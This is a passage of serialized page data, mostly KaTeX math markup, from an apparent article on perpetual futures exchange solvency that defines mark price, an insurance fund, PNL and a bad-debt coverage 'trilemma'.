63966],{"type":31,"value":3641},{"type":25,"tag":201,"props":163968,"children":163970},{"className":163969},[23240],[163971],{"type":31,"value":23243},{"type":25,"tag":201,"props":163973,"children":163975},{"className":163974},[5539],[163976],{"type":25,"tag":201,"props":163977,"children":163979},{"className":163978,"style":94214},[5544],[163980],{"type":25,"tag":201,"props":163981,"children":163982},{},[],{"type":25,"tag":201,"props":163984,"children":163985},{"style":162599},[163986,163990],{"type":25,"tag":201,"props":163987,"children":163989},{"className":163988,"style":162031},[5553],[],{"type":25,"tag":201,"props":163991,"children":163993},{"className":163992},[5513],[163994,163998,164002,164007,164011,164074,164078,164083,164088,164093,164150,164155,164159,164163,164168],{"type":25,"tag":201,"props":163995,"children":163997},{"className":163996},[5513],[],{"type":25,"tag":201,"props":163999,"children":164001},{"className":164000,"style":5691},[5593],[],{"type":25,"tag":201,"props":164003,"children":164005},{"className":164004},[5696],[164006],{"type":31,"value":1383},{"type":25,"tag":201,"props":164008,"children":164010},{"className":164009,"style":5691},[5593],[],{"type":25,"tag":201,"props":164012,"children":164014},{"className":164013},[23119,163855],[164015],{"type":25,"tag":201,"props":164016,"children":164018},{"className":164017},[5534,23137],[164019,164063],{"type":25,"tag":201,"props":164020,"children":164022},{"className":164021},[5539],[164023,164058],{"type":25,"tag":201,"props":164024,"children":164026},{"className":164025,"style":163868},[5544],[164027,164043],{"type":25,"tag":201,"props":164028,"children":164029},{"style":163872},[164030,164034],{"type":25,"tag":201,"props":164031,"children":164033},{"className":164032,"style":163877},[5553],[],{"type":25,"tag":201,"props":164035,"children":164037},{"className":164036},[5559,5560,5561,5562],[164038],{"type":25,"tag":201,"props":164039,"children":164041},{"className":164040},[5513,23083,5562],[164042],{"type":31,"value":3641},{"type":25,"tag":201,"props":164044,"children":164045},{"style":163890},[164046,164050],{"type":25,"tag":201,"props":164047,"children":164049},{"className":164048,"style":163877},[5553],[],{"type":25,"tag":201,"props":164051,"children":164052},{},[164053],{"type":25,"tag":201,"props":164054,"children":164056},{"className":164055},[23119,23124,163902],[164057],{"type":31,"value":109926},{"type":25,"tag":201,"props":164059,"children":164061},{"className":164060},[23240],[164062],{"type":31,"value":23243},{"type":25,"tag":201,"props":164064,"children":164066},{"className":164065},[5539],[164067],{"type":25,"tag":201,"props":164068,"children":164070},{"className":164069,"style":163917},[5544],[164071],{"type":25,"tag":201,"props":164072,"children":164073},{},[],{"type":25,"tag":201,"props":164075,"children":164077},{"className":164076,"style":5632},[5593],[],{"type":25,"tag":201,"props":164079,"children":164081},{"className":164080},[23119],[164082],{"type":31,"value":161745},{"type":25,"tag":201,"props":164084,"children":164086},{"className":164085},[23212],[164087],{"type":31,"value":298},{"type":25,"tag":201,"props":164089,"children":164091},{"className":164090},[5513],[164092],{"type":31,"value":5573},{"type":25,"tag":201,"props":164094,"children":164096},{"className":164095},[5513],[164097,164102],{"type":25,"tag":201,"props":164098,"children":164100},{"className":164099},[5513,23083],[164101],{"type":31,"value":52532},{"type":25,"tag":201,"props":164103,"children":164105},{"className":164104},[5529],[164106],{"type":25,"tag":201,"props":164107,"children":164109},{"className":164108},[5534,23137],[164110,164139],{"type":25,"tag":201,"props":164111,"children":164113},{"className":164112},[5539],[164114,164134],{"type":25,"tag":201,"props":164115,"children":164117},{"className":164116,"style":94660},[5544],[164118],{"type":25,"tag":201,"props":164119,"children":164120},{"style":94187},[164121,164125],{"type":25,"tag":201,"props":164122,"children":164124},{"className":164123,"style":5554},[5553],[],{"type":25,"tag":201,"props":164126,"children":164128},{"className":164127},[5559,5560,5561,5562],[164129],{"type":25,"tag":201,"props":164130,"children":164132},{"className":164131},[5513,23083,5562],[164133],{"type":31,"value":3641},{"type":25,"tag":201,"props":164135,"children":164137},{"className":164136},[23240],[164138],{"type":31,"value":23243},{"type":25,"tag":201,"props":164140,"children":164142},{"className":164141},[5539],[164143],{"type":25,"tag":201,"props":164144,"children":164146},{"className":164145,"style":94214},[5544],[164147],{"type":25,"tag":201,"props":164148,"children":164149},{},[],{"type":25,"tag":201,"props":164151,"children":164153},{"className":164152},[5625],[164154],{"type":31,"value":5628},{"type":25,"tag":201,"props":164156,"children":164158},{"className":164157,"style":5632},[5593],[],{"type":25,"tag":201,"props":164160,"children":164162},{"className":164161,"style":5632},[5593],[],{"type":25,"tag":201,"props":164164,"children":164166},{"className":164165},[5513],[164167],{"type":31,"value":429},{"type":25,"tag":201,"props":164169,"children":164171},{"className":164170},[23234],[164172],{"type":31,"value":3073},{"type":25,"tag":201,"props":164174,"children":164175},{"style":162669},[164176,164180],{"type":25,"tag":201,"props":164177,"children":164179},{"className":164178,"style":162031},[5553],[],{"type":25,"tag":201,"props":164181,"children":164183},{"className":164182},[5513],[164184,164188,164192,164197,164201,164264,164268],{"type":25,"tag":201,"props":164185,"children":164187},{"className":164186},[5513],[],{"type":25,"tag":201,"props":164189,"children":164191},{"className":164190,"style":5691},[5593],[],{"type":25,"tag":201,"props":164193,"children":164195},{"className":164194},[5696],[164196],{"type":31,"value":1383},{"type":25,"tag":201,"props":164198,"children":164200},{"className":164199,"style":5691},[5593],[],{"type":25,"tag":201,"props":164202,"children":164204},{"className":164203},[23119,163855],[164205],{"type":25,"tag":201,"props":164206,"children":164208},{"className":164207},[5534,23137],[164209,164253],{"type":25,"tag":201,"props":164210,"children":164212},{"className":164211},[5539],[164213,164248],{"type":25,"tag":201,"props":164214,"children":164216},{"className":164215,"style":163868},[5544],[164217,164233],{"type":25,"tag":201,"props":164218,"children":164219},{"style":163872},[164220,164224],{"type":25,"tag":201,"props":164221,"children":164223},{"className":164222,"style":163877},[5553],[],{"type":25,"tag":201,"props":164225,"children":164227},{"className":164226},[5559,5560,5561,5562],[164228],{"type":25,"tag":201,"props":164229,"children":164231},{"className":164230},[5513,23083,5562],[164232],{"type":31,"value":3641},{"type":25,"tag":201,"props":164234,"children":164235},{"style":163890},[164236,164240],{"type":25,"tag":201,"props":164237,"children":164239},{"className":164238,"style":163877},[5553],[],{"type":25,"tag":201,"props":164241,"children":164242},{},[164243],{"type":25,"tag":201,"props":164244,"children":164246},{"className":164245},[23119,23124,163902],[164247],{"type":31,"value":109926},{"type":25,"tag":201,"props":164249,"children":164251},{"className":164250},[23240],[164252],{"type":31,"value":23243},{"type":25,"tag":201,"props":164254,"children":164256},{"className":164255},[5539],[164257],{"type":25,"tag":201,"props":164258,"children":164260},{"className":164259,"style":163917},[5544],[164261],{"type":25,"tag":201,"props":164262,"children":164263},{},[],{"type":25,"tag":201,"props":164265,"children":164267},{"className":164266,"style":5632},[5593],[],{"type":25,"tag":201,"props":164269,"children":164271},{"className":164270},[5513],[164272,164277],{"type":25,"tag":201,"props":164273,"children":164275},{"className":164274,"style":123411},[5513,23083],[164276],{"type":31,"value":50649},{"type":25,"tag":201,"props":164278,"children":164280},{"className":164279},[5529],[164281],{"type":25,"tag":201,"props":164282,"children":164284},{"className":164283},[5534,23137],[164285,164314],{"type":25,"tag":201,"props":164286,"children":164288},{"className":164287},[5539],[164289,164309],{"type":25,"tag":201,"props":164290,"children":164292},{"className":164291,"style":94660},[5544],[164293],{"type":25,"tag":201,"props":164294,"children":164295},{"style":162359},[164296,164300],{"type":25,"tag":201,"props":164297,"children":164299},{"className":164298,"style":5554},[5553],[],{"type":25,"tag":201,"props":164301,"children":164303},{"className":164302},[5559,5560,5561,5562],[164304],{"type":25,"tag":201,"props":164305,"children":164307},{"className":164306},[5513,23083,5562],[164308],{"type":31,"value":3641},{"type":25,"tag":201,"props":164310,"children":164312},{"className":164311},[23240],[164313],{"type":31,"value":23243},{"type":25,"tag":201,"props":164315,"children":164317},{"className":164316},[5539],[164318],{"type":25,"tag":201,"props":164319,"children":164321},{"className":164320,"style":94214},[5544],[164322],{"type":25,"tag":201,"props":164323,"children":164324},{},[],{"type":25,"tag":201,"props":164326,"children":164327},{"style":162740},[164328,164332],{"type":25,"tag":201,"props":164329,"children":164331},{"className":164330,"style":162031},[5553],[],{"type":25,"tag":201,"props":164333,"children":164335},{"className":164334},[5513],[164336,164340,164344,164349,164353,164358,164363,164420,164424,164429,164433,164438,164442,164447,164451,164508,164513,164517,164521,164526],{"type":25,"tag":201,"props":164337,"children":164339},{"className":164338},[5513],[],{"type":25,"tag":201,"props":164341,"children":164343},{"className":164342,"style":5691},[5593],[],{"type":25,"tag":201,"props":164345,"children":164347},{"className":164346},[5696],[164348],{"type":31,"value":1383},{"type":25,"tag":201,"props":164350,"children":164352},{"className":164351,"style":5691},[5593],[],{"type":25,"tag":201,"props":164354,"children":164356},{"className":164355},[23119],[164357],{"type":31,"value":161745},{"type":25,"tag":201,"props":164359,"children":164361},{"className":164360},[23212],[164362],{"type":31,"value":298},{"type":25,"tag":201,"props":164364,"children":164366},{"className":164365},[5513],[164367,164372],{"type":25,"tag":201,"props":164368,"children":164370},{"className":164369,"style":94131},[5513,23083],[164371],{"type":31,"value":162618},{"type":25,"tag":201,"props":164373,"children":164375},{"className":164374},[5529],[164376],{"type":25,"tag":201,"props":164377,"children":164379},{"className":164378},[5534,23137],[164380,164409],{"type":25,"tag":201,"props":164381,"children":164383},{"className":164382},[5539],[164384,164404],{"type":25,"tag":201,"props":164385,"children":164387},{"className":164386,"style":143686},[5544],[164388],{"type":25,"tag":201,"props":164389,"children":164390},{"style":111130},[164391,164395],{"type":25,"tag":201,"props":164392,"children":164394},{"className":164393,"style":5554},[5553],[],{"type":25,"tag":201,"props":164396,"children":164398},{"className":164397},[5559,5560,5561,5562],[164399],{"type":25,"tag":201,"props":164400,"children":164402},{"className":164401,"style":23084},[5513,23083,5562],[164403],{"type":31,"value":7496},{"type":25,"tag":201,"props":164405,"children":164407},{"className":164406},[23240],[164408],{"type":31,"value":23243},{"type":25,"tag":201,"props":164410,"children":164412},{"className":164411},[5539],[164413],{"type":25,"tag":201,"props":164414,"children":164416},{"className":164415,"style":94214},[5544],[164417],{"type":25,"tag":201,"props":164418,"children":164419},{},[],{"type":25,"tag":201,"props":164421,"children":164423},{"className":164422,"style":5594},[5593],[],{"type":25,"tag":201,"props":164425,"children":164427},{"className":164426},[5599],[164428],{"type":31,"value":5573},{"type":25,"tag":201,"props":164430,"children":164432},{"className":164431,"style":5594},[5593],[],{"type":25,"tag":201,"props":164434,"children":164436},{"className":164435,"style":96151},[5513,23083],[164437],{"type":31,"value":96185},{"type":25,"tag":201,"props":164439,"children":164441},{"className":164440,"style":5594},[5593],[],{"type":25,"tag":201,"props":164443,"children":164445},{"className":164444},[5599],[164446],{"type":31,"value":5573},{"type":25,"tag":201,"props":164448,"children":164450},{"className":164449,"style":5594},[5593],[],{"type":25,"tag":201,"props":164452,"children":164454},{"className":164453},[5513],[164455,164460],{"type":25,"tag":201,"props":164456,"children":164458},{"className":164457,"style":94365},[5513,23083],[164459],{"type":31,"value":94368},{"type":25,"tag":201,"props":164461,"children":164463},{"className":164462},[5529],[164464],{"type":25,"tag":201,"props":164465,"children":164467},{"className":164466},[5534,23137],[164468,164497],{"type":25,"tag":201,"props":164469,"children":164471},{"className":164470},[5539],[164472,164492],{"type":25,"tag":201,"props":164473,"children":164475},{"className":164474,"style":143686},[5544],[164476],{"type":25,"tag":201,"props":164477,"children":164478},{"style":111560},[164479,164483],{"type":25,"tag":201,"props":164480,"children":164482},{"className":164481,"style":5554},[5553],[],{"type":25,"tag":201,"props":164484,"children":164486},{"className":164485},[5559,5560,5561,5562],[164487],{"type":25,"tag":201,"props":164488,"children":164490},{"className":164489,"style":23084},[5513,23083,5562],[164491],{"type":31,"value":7496},{"type":25,"tag":201,"props":164493,"children":164495},{"className":164494},[23240],[164496],{"type":31,"value":23243},{"type":25,"tag":201,"props":164498,"children":164500},{"className":164499},[5539],[164501],{"type":25,"tag":201,"props":164502,"children":164504},{"className":164503,"style":94214},[5544],[164505],{"type":25,"tag":201,"props":164506,"children":164507},{},[],{"type":25,"tag":201,"props":164509,"children":164511},{"className":164510},[5625],[164512],{"type":31,"value":5628},{"type":25,"tag":201,"props":164514,"children":164516},{"className":164515,"style":5632},[5593],[],{"type":25,"tag":201,"props":164518,"children":164520},{"className":164519,"style":5632},[5593],[],{"type":25,"tag":201,"props":164522,"children":164524},{"className":164523},[5513],[164525],{"type":31,"value":429},{"type":25,"tag":201,"props":164527,"children":164529},{"className":164528},[23234],[164530],{"type":31,"value":3073},{"type":25,"tag":201,"props":164532,"children":164534},{"className":164533},[23240],[164535],{"type":31,"value":23243},{"type":25,"tag":201,"props":164537,"children":164539},{"className":164538},[5539],[164540],{"type":25,"tag":201,"props":164541,"children":164543},{"className":164542,"style":162821},[5544],[164544],{"type":25,"tag":201,"props":164545,"children":164546},{},[],{"type":25,"tag":34,"props":164548,"children":164549},{},[164550,164551,164628,164630,164655,164657,164734,164736,164813],{"type":31,"value":298},{"type":25,"tag":115,"props":164552,"children":164554},{"className":164553},[5485,5486],[164555],{"type":25,"tag":201,"props":164556,"children":164558},{"className":164557},[5491],[164559],{"type":25,"tag":201,"props":164560,"children":164562},{"className":164561,"ariaHidden":5497},[5496],[164563],{"type":25,"tag":201,"props":164564,"children":164566},{"className":164565},[5502],[164567,164571],{"type":25,"tag":201,"props":164568,"children":164570},{"className":164569,"style":112128},[5507],[],{"type":25,"tag":201,"props":164572,"children":164574},{"className":164573},[5513],[164575,164580],{"type":25,"tag":201,"props":164576,"children":164578},{"className":164577,"style":23084},[5513,23083],[164579],{"type":31,"value":23087},{"type":25,"tag":201,"props":164581,"children":164583},{"className":164582},[5529],[164584],{"type":25,"tag":201,"props":164585,"children":164587},{"className":164586},[5534,23137],[164588,164617],{"type":25,"tag":201,"props":164589,"children":164591},{"className":164590},[5539],[164592,164612],{"type":25,"tag":201,"props":164593,"children":164595},{"className":164594,"style":110563},[5544],[164596],{"type":25,"tag":201,"props":164597,"children":164598},{"style":162064},[164599,164603],{"type":25,"tag":201,"props":164600,"children":164602},{"className":164601,"style":5554},[5553],[],{"type":25,"tag":201,"props":164604,"children":164606},{"className":164605},[5559,5560,5561,5562],[164607],{"type":25,"tag":201,"props":164608,"children":164610},{"className":164609},[5513,23083,5562],[164611],{"type":31,"value":57482},{"type":25,"tag":201,"props":164613,"children":164615},{"className":164614},[23240],[164616],{"type":31,"value":23243},{"type":25,"tag":201,"props":164618,"children":164620},{"className":164619},[5539],[164621],{"type":25,"tag":201,"props":164622,"children":164624},{"className":164623,"style":94214},[5544],[164625],{"type":25,"tag":201,"props":164626,"children":164627},{},[],{"type":31,"value":164629},": mark price from different sources; ",{"type":25,"tag":115,"props":164631,"children":164633},{"className":164632},[5485,5486],[164634],{"type":25,"tag":201,"props":164635,"children":164637},{"className":164636},[5491],[164638],{"type":25,"tag":201,"props":164639,"children":164641},{"className":164640,"ariaHidden":5497},[5496],[164642],{"type":25,"tag":201,"props":164643,"children":164645},{"className":164644},[5502],[164646,164650],{"type":25,"tag":201,"props":164647,"children":164649},{"className":164648,"style":23078},[5507],[],{"type":25,"tag":201,"props":164651,"children":164653},{"className":164652,"style":96151},[5513,23083],[164654],{"type":31,"value":96185},{"type":31,"value":164656},": insurance fund, roughly the 5M on testnet HL; ",{"type":25,"tag":115,"props":164658,"children":164660},{"className":164659},[5485,5486],[164661],{"type":25,"tag":201,"props":164662,"children":164664},{"className":164663},[5491],[164665],{"type":25,"tag":201,"props":164666,"children":164668},{"className":164667,"ariaHidden":5497},[5496],[164669],{"type":25,"tag":201,"props":164670,"children":164672},{"className":164671},[5502],[164673,164677],{"type":25,"tag":201,"props":164674,"children":164676},{"className":164675,"style":111101},[5507],[],{"type":25,"tag":201,"props":164678,"children":164680},{"className":164679},[5513],[164681,164686],{"type":25,"tag":201,"props":164682,"children":164684},{"className":164683,"style":94617},[5513,23083],[164685],{"type":31,"value":162202},{"type":25,"tag":201,"props":164687,"children":164689},{"className":164688},[5529],[164690],{"type":25,"tag":201,"props":164691,"children":164693},{"className":164692},[5534,23137],[164694,164723],{"type":25,"tag":201,"props":164695,"children":164697},{"className":164696},[5539],[164698,164718],{"type":25,"tag":201,"props":164699,"children":164701},{"className":164700,"style":94660},[5544],[164702],{"type":25,"tag":201,"props":164703,"children":164704},{"style":94664},[164705,164709],{"type":25,"tag":201,"props":164706,"children":164708},{"className":164707,"style":5554},[5553],[],{"type":25,"tag":201,"props":164710,"children":164712},{"className":164711},[5559,5560,5561,5562],[164713],{"type":25,"tag":201,"props":164714,"children":164716},{"className":164715},[5513,23083,5562],[164717],{"type":31,"value":3641},{"type":25,"tag":201,"props":164719,"children":164721},{"className":164720},[23240],[164722],{"type":31,"value":23243},{"type":25,"tag":201,"props":164724,"children":164726},{"className":164725},[5539],[164727],{"type":25,"tag":201,"props":164728,"children":164730},{"className":164729,"style":94214},[5544],[164731],{"type":25,"tag":201,"props":164732,"children":164733},{},[],{"type":31,"value":164735}," is PNL for longs, negated for shorts; ",{"type":25,"tag":115,"props":164737,"children":164739},{"className":164738},[5485,5486],[164740],{"type":25,"tag":201,"props":164741,"children":164743},{"className":164742},[5491],[164744],{"type":25,"tag":201,"props":164745,"children":164747},{"className":164746,"ariaHidden":5497},[5496],[164748],{"type":25,"tag":201,"props":164749,"children":164751},{"className":164750},[5502],[164752,164756],{"type":25,"tag":201,"props":164753,"children":164755},{"className":164754,"style":111101},[5507],[],{"type":25,"tag":201,"props":164757,"children":164759},{"className":164758},[5513],[164760,164765],{"type":25,"tag":201,"props":164761,"children":164763},{"className":164762,"style":123411},[5513,23083],[164764],{"type":31,"value":50649},{"type":25,"tag":201,"props":164766,"children":164768},{"className":164767},[5529],[164769],{"type":25,"tag":201,"props":164770,"children":164772},{"className":164771},[5534,23137],[164773,164802],{"type":25,"tag":201,"props":164774,"children":164776},{"className":164775},[5539],[164777,164797],{"type":25,"tag":201,"props":164778,"children":164780},{"className":164779,"style":94660},[5544],[164781],{"type":25,"tag":201,"props":164782,"children":164783},{"style":162359},[164784,164788],{"type":25,"tag":201,"props":164785,"children":164787},{"className":164786,"style":5554},[5553],[],{"type":25,"tag":201,"props":164789,"children":164791},{"className":164790},[5559,5560,5561,5562],[164792],{"type":25,"tag":201,"props":164793,"children":164795},{"className":164794},[5513,23083,5562],[164796],{"type":31,"value":3641},{"type":25,"tag":201,"props":164798,"children":164800},{"className":164799},[23240],[164801],{"type":31,"value":23243},{"type":25,"tag":201,"props":164803,"children":164805},{"className":164804},[5539],[164806],{"type":25,"tag":201,"props":164807,"children":164809},{"className":164808,"style":94214},[5544],[164810],{"type":25,"tag":201,"props":164811,"children":164812},{},[],{"type":31,"value":164814}," is the positive part of PNL.)",{"type":25,"tag":34,"props":164816,"children":164817},{},[164818],{"type":31,"value":164819},"And let's make the trilemma definitions concrete:",{"type":25,"tag":18183,"props":164821,"children":164822},{},[164823,165297,165861],{"type":25,"tag":6948,"props":164824,"children":164825},{},[164826,164830,164831,165085,165087,165138,165140,165243,165244,165295],{"type":25,"tag":65,"props":164827,"children":164828},{},[164829],{"type":31,"value":161943},{"type":31,"value":1840},{"type":25,"tag":115,"props":164832,"children":164834},{"className":164833},[5485,5486],[164835],{"type":25,"tag":201,"props":164836,"children":164838},{"className":164837},[5491],[164839],{"type":25,"tag":201,"props":164840,"children":164842},{"className":164841,"ariaHidden":5497},[5496],[164843,164870],{"type":25,"tag":201,"props":164844,"children":164846},{"className":164845},[5502],[164847,164852,164857,164861,164866],{"type":25,"tag":201,"props":164848,"children":164851},{"className":164849,"style":164850},[5507],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":25,"tag":201,"props":164853,"children":164855},{"className":164854},[5513],[164856],{"type":31,"value":5516},{"type":25,"tag":201,"props":164858,"children":164860},{"className":164859,"style":5594},[5593],[],{"type":25,"tag":201,"props":164862,"children":164864},{"className":164863},[5599],[164865],{"type":31,"value":5573},{"type":25,"tag":201,"props":164867,"children":164869},{"className":164868,"style":5594},[5593],[],{"type":25,"tag":201,"props":164871,"children":164873},{"className":164872},[5502],[164874,164879],{"type":25,"tag":201,"props":164875,"children":164878},{"className":164876,"style":164877},[5507],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":25,"tag":201,"props":164880,"children":164882},{"className":164881},[5513],[164883,164887,165081],{"type":25,"tag":201,"props":164884,"children":164886},{"className":164885},[23212,114649],[],{"type":25,"tag":201,"props":164888,"children":164890},{"className":164889},[114654],[164891],{"type":25,"tag":201,"props":164892,"children":164894},{"className":164893},[5534,23137],[164895,165069],{"type":25,"tag":201,"props":164896,"children":164898},{"className":164897},[5539],[164899,165064],{"type":25,"tag":201,"props":164900,"children":164903},{"className":164901,"style":164902},[5544],"height:0.8884em;",[164904,164978,164989],{"type":25,"tag":201,"props":164905,"children":164906},{"style":114671},[164907,164911],{"type":25,"tag":201,"props":164908,"children":164910},{"className":164909,"style":113302},[5553],[],{"type":25,"tag":201,"props":164912,"children":164914},{"className":164913},[5559,5560,5561,5562],[164915],{"type":25,"tag":201,"props":164916,"children":164918},{"className":164917},[5513,5562],[164919],{"type":25,"tag":201,"props":164920,"children":164922},{"className":164921},[5513,5562],[164923,164928],{"type":25,"tag":201,"props":164924,"children":164926},{"className":164925,"style":94131},[5513,23083,5562],[164927],{"type":31,"value":162618},{"type":25,"tag":201,"props":164929,"children":164931},{"className":164930},[5529],[164932],{"type":25,"tag":201,"props":164933,"children":164935},{"className":164934},[5534,23137],[164936,164966],{"type":25,"tag":201,"props":164937,"children":164939},{"className":164938},[5539],[164940,164961],{"type":25,"tag":201,"props":164941,"children":164943},{"className":164942,"style":113463},[5544],[164944],{"type":25,"tag":201,"props":164945,"children":164947},{"style":164946},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[164948,164952],{"type":25,"tag":201,"props":164949,"children":164951},{"className":164950,"style":109991},[5553],[],{"type":25,"tag":201,"props":164953,"children":164955},{"className":164954},[5559,109996,109997,5562],[164956],{"type":25,"tag":201,"props":164957,"children":164959},{"className":164958,"style":23084},[5513,23083,5562],[164960],{"type":31,"value":7496},{"type":25,"tag":201,"props":164962,"children":164964},{"className":164963},[23240],[164965],{"type":31,"value":23243},{"type":25,"tag":201,"props":164967,"children":164969},{"className":164968},[5539],[164970],{"type":25,"tag":201,"props":164971,"children":164974},{"className":164972,"style":164973},[5544],"height:0.1433em;",[164975],{"type":25,"tag":201,"props":164976,"children":164977},{},[],{"type":25,"tag":201,"props":164979,"children":164980},{"style":114704},[164981,164985],{"type":25,"tag":201,"props":164982,"children":164984},{"className":164983,"style":113302},[5553],[],{"type":25,"tag":201,"props":164986,"children":164988},{"className":164987,"style":114714},[114713],[],{"type":25,"tag":201,"props":164990,"children":164992},{"style":164991},"top:-3.4101em;",[164993,164997],{"type":25,"tag":201,"props":164994,"children":164996},{"className":164995,"style":113302},[5553],[],{"type":25,"tag":201,"props":164998,"children":165000},{"className":164999},[5559,5560,5561,5562],[165001],{"type":25,"tag":201,"props":165002,"children":165004},{"className":165003},[5513,5562],[165005],{"type":25,"tag":201,"props":165006,"children":165008},{"className":165007},[5513,5562],[165009,165014],{"type":25,"tag":201,"props":165010,"children":165012},{"className":165011,"style":123908},[5513,23083,5562],[165013],{"type":31,"value":123911},{"type":25,"tag":201,"props":165015,"children":165017},{"className":165016},[5529],[165018],{"type":25,"tag":201,"props":165019,"children":165021},{"className":165020},[5534,23137],[165022,165053],{"type":25,"tag":201,"props":165023,"children":165025},{"className":165024},[5539],[165026,165048],{"type":25,"tag":201,"props":165027,"children":165030},{"className":165028,"style":165029},[5544],"height:0.2963em;",[165031],{"type":25,"tag":201,"props":165032,"children":165034},{"style":165033},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[165035,165039],{"type":25,"tag":201,"props":165036,"children":165038},{"className":165037,"style":109991},[5553],[],{"type":25,"tag":201,"props":165040,"children":165042},{"className":165041},[5559,109996,109997,5562],[165043],{"type":25,"tag":201,"props":165044,"children":165046},{"className":165045},[5513,23083,5562],[165047],{"type":31,"value":23225},{"type":25,"tag":201,"props":165049,"children":165051},{"className":165050},[23240],[165052],{"type":31,"value":23243},{"type":25,"tag":201,"props":165054,"children":165056},{"className":165055},[5539],[165057],{"type":25,"tag":201,"props":165058,"children":165060},{"className":165059,"style":110016},[5544],[165061],{"type":25,"tag":201,"props":165062,"children":165063},{},[],{"type":25,"tag":201,"props":165065,"children":165067},{"className":165066},[23240],[165068],{"type":31,"value":23243},{"type":25,"tag":201,"props":165070,"children":165072},{"className":165071},[5539],[165073],{"type":25,"tag":201,"props":165074,"children":165077},{"className":165075,"style":165076},[5544],"height:0.4453em;",[165078],{"type":25,"tag":201,"props":165079,"children":165080},{},[],{"type":25,"tag":201,"props":165082,"children":165084},{"className":165083},[23234,114649],[],{"type":31,"value":165086}," — how much of the total bad debt was actually covered. ",{"type":25,"tag":115,"props":165088,"children":165090},{"className":165089},[5485,5486],[165091],{"type":25,"tag":201,"props":165092,"children":165094},{"className":165093},[5491],[165095],{"type":25,"tag":201,"props":165096,"children":165098},{"className":165097,"ariaHidden":5497},[5496],[165099,165125],{"type":25,"tag":201,"props":165100,"children":165102},{"className":165101},[5502],[165103,165107,165112,165116,165121],{"type":25,"tag":201,"props":165104,"children":165106},{"className":165105,"style":23078},[5507],[],{"type":25,"tag":201,"props":165108,"children":165110},{"className":165109,"style":23542},[5513,23083],[165111],{"type":31,"value":23545},{"type":25,"tag":201,"props":165113,"children":165115},{"className":165114,"style":5691},[5593],[],{"type":25,"tag":201,"props":165117,"children":165119},{"className":165118},[5696],[165120],{"type":31,"value":1383},{"type":25,"tag":201,"props":165122,"children":165124},{"className":165123,"style":5691},[5593],[],{"type":25,"tag":201,"props":165126,"children":165128},{"className":165127},[5502],[165129,165133],{"type":25,"tag":201,"props":165130,"children":165132},{"className":165131,"style":95162},[5507],[],{"type":25,"tag":201,"props":165134,"children":165136},{"className":165135},[5513],[165137],{"type":31,"value":5516},{"type":31,"value":165139}," means fully solvent (",{"type":25,"tag":115,"props":165141,"children":165143},{"className":165142},[5485,5486],[165144],{"type":25,"tag":201,"props":165145,"children":165147},{"className":165146},[5491],[165148],{"type":25,"tag":201,"props":165149,"children":165151},{"className":165150,"ariaHidden":5497},[5496],[165152,165230],{"type":25,"tag":201,"props":165153,"children":165155},{"className":165154},[5502],[165156,165160,165217,165221,165226],{"type":25,"tag":201,"props":165157,"children":165159},{"className":165158,"style":112128},[5507],[],{"type":25,"tag":201,"props":165161,"children":165163},{"className":165162},[5513],[165164,165169],{"type":25,"tag":201,"props":165165,"children":165167},{"className":165166,"style":123908},[5513,23083],[165168],{"type":31,"value":123911},{"type":25,"tag":201,"props":165170,"children":165172},{"className":165171},[5529],[165173],{"type":25,"tag":201,"props":165174,"children":165176},{"className":165175},[5534,23137],[165177,165206],{"type":25,"tag":201,"props":165178,"children":165180},{"className":165179},[5539],[165181,165201],{"type":25,"tag":201,"props":165182,"children":165184},{"className":165183,"style":162774},[5544],[165185],{"type":25,"tag":201,"props":165186,"children":165187},{"style":162778},[165188,165192],{"type":25,"tag":201,"props":165189,"children":165191},{"className":165190,"style":5554},[5553],[],{"type":25,"tag":201,"props":165193,"children":165195},{"className":165194},[5559,5560,5561,5562],[165196],{"type":25,"tag":201,"props":165197,"children":165199},{"className":165198},[5513,23083,5562],[165200],{"type":31,"value":23225},{"type":25,"tag":201,"props":165202,"children":165204},{"className":165203},[23240],[165205],{"type":31,"value":23243},{"type":25,"tag":201,"props":165207,"children":165209},{"className":165208},[5539],[165210],{"type":25,"tag":201,"props":165211,"children":165213},{"className":165212,"style":94214},[5544],[165214],{"type":25,"tag":201,"props":165215,"children":165216},{},[],{"type":25,"tag":201,"props":165218,"children":165220},{"className":165219,"style":5691},[5593],[],{"type":25,"tag":201,"props":165222,"children":165224},{"className":165223},[5696],[165225],{"type":31,"value":1383},{"type":25,"tag":201,"props":165227,"children":165229},{"className":165228,"style":5691},[5593],[],{"type":25,"tag":201,"props":165231,"children":165233},{"className":165232},[5502],[165234,165238],{"type":25,"tag":201,"props":165235,"children":165237},{"className":165236,"style":95162},[5507],[],{"type":25,"tag":201,"props":165239,"children":165241},{"className":165240},[5513],[165242],{"type":31,"value":429},{"type":31,"value":16674},{"type":25,"tag":115,"props":165245,"children":165247},{"className":165246},[5485,5486],[165248],{"type":25,"tag":201,"props":165249,"children":165251},{"className":165250},[5491],[165252],{"type":25,"tag":201,"props":165253,"children":165255},{"className":165254,"ariaHidden":5497},[5496],[165256,165282],{"type":25,"tag":201,"props":165257,"children":165259},{"className":165258},[5502],[165260,165264,165269,165273,165278],{"type":25,"tag":201,"props":165261,"children":165263},{"className":165262,"style":23078},[5507],[],{"type":25,"tag":201,"props":165265,"children":165267},{"className":165266,"style":23542},[5513,23083],[165268],{"type":31,"value":23545},{"type":25,"tag":201,"props":165270,"children":165272},{"className":165271,"style":5691},[5593],[],{"type":25,"tag":201,"props":165274,"children":165276},{"className":165275},[5696],[165277],{"type":31,"value":1383},{"type":25,"tag":201,"props":165279,"children":165281},{"className":165280,"style":5691},[5593],[],{"type":25,"tag":201,"props":165283,"children":165285},{"className":165284},[5502],[165286,165290],{"type":25,"tag":201,"props":165287,"children":165289},{"className":165288,"style":95162},[5507],[],{"type":25,"tag":201,"props":165291,"children":165293},{"className":165292},[5513],[165294],{"type":31,"value":429},{"type":31,"value":165296}," means nothing was 